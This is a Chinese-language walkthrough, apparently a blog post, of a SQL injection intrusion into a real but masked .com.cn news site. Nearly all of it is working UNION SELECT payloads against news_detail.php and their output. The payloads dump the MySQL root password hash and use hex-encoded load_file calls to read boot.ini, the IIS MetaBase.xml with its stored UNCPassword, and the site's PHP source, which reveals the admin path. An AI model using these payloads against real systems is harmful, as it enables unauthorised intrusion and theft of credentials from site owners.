1.找不到后台地址,那么干脆爆MySql管理员的口令
http://www.***.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(user,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
得到数据:root*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD
2.随便访问一个路径,反馈的是IIS6的404默认页,说明网站服务器是:Windows+IIS6+php+MySql的环境
先把c:\\boot.ini这串路径进行hex编码得到:0x633A5C5C626F6F742E696E69
然后、http://www.***.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C626F6F742E696E69),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
看回显:
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut
虽然能load_file加载文件,但是似乎用处不大。非也非也,既然是IIS6,那么加载c:\\windows\\system32\\inetsrv\\MetaBase.xml这个路径就可以获取网站配置信息了。
*注:Windows进行文件操作,路径一定要是双斜杠,如果是单斜杠,八成会load_file失败,探讨其原因,可能是因为,斜杠是这样的\左上右下,而Linux则是/右上左下。如果在Windows的路径斜杠后面跟个t也就是\t,看看在编程里面是什么?如果\n呢?\‘呢?没错,路径的斜杠就没了。如果是双斜杠,\\那才是真的单斜杠。如果你需要输出双斜杠,那么你要用四个斜杠来表示,郁闷不?\\\\
最后注入句就是:http://www.***.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
主要看这几句配置:
<IIsWebServer Location ="/LM/W3SVC/2125961364"
AuthFlags="0"
LogExtFileFlags="LogExtFileDate | LogExtFileTime | LogExtFileClientIp | LogExtFileUriStem | LogExtFileUriQuery | LogExtFileHttpStatus | LogExtFileWin32Status | LogExtFileServerPort | LogExtFileUserAgent | LogExtFileHttpSubStatus"
LogFileDirectory="E:\flylog"
LogFileLocaltimeRollover="FALSE"
LogFilePeriod="1"
LogFileTruncateSize="20971520"
LogPluginClsid="{FF160663-DE82-11CF-BC0A-00AA006111E0}"
ServerAutoStart="TRUE"
ServerBindings=":80:***.com.cn
:80:www.***.com.cn"
ServerComment="***.com.cn"
>
</IIsWebServer>
还有:
<IIsWebVirtualDir Location ="/LM/W3SVC/2125961364/root"
AccessFlags="AccessRead | AccessWrite | AccessScript"
AppFriendlyName="默认应用程序"
AppIsolated="2"
AppRoot="/LM/W3SVC/2125961364/Root"
AuthFlags="AuthAnonymous | AuthNTLM"
DefaultDoc="yindao.html,index.html,index.php,Default.htm,Default.asp,index.htm"
DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DirBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"
Path="F:\web\2010716\new_flyer"
UNCPassword="49634462500000000600000040000000894077f761d33600623e24d0e5dfbe254f63ee6490a3af6f918760ac2fbd00627e07669149f74641659a4383366f9edefd9c02f6555c8692c1c93d2483008b9721cbdae4fac9a380"
>
</IIsWebVirtualDir>
这下子我们构造:
http://www.***.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x463A5C5C7765625C5C323031303731365C5C6E65775F666C7965725C5C696E6465782E706870),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
右键查看源代码就可以了
*注:load_file用的时候,最好在外面加一个hex即:hex(load_file(xxxxxxx))
因为我遇到过一个网站,主页不知道是哪里的代码有问题,注入点在主页。我用主页load_file主页文件,外面没嵌套hex的话,主页就被循环显示了,就是类似这样:index里面有一个iframe,iframe加载的是index这个文件,index这个文件里面的iframe又加载index这个文件,循环往复下去,直到把机器资源耗尽。虽然不知道当时那个网站是不是这个iframe,但是这样的嵌套确实有死循环发生,所以建议hex嵌套load_file
我比较在意的是index里面这样的一个地方的代码:
require(‘admin_flier/common/function.php‘);
require(‘admin_flier/lib/class/form.class.php‘);
require(‘admin_flier/lib/class/db.class.php‘);
require(‘admin_flier/lib/class/page.class.php‘);
include(‘inc/head.php‘);
呵呵,这里不就是后台地址么?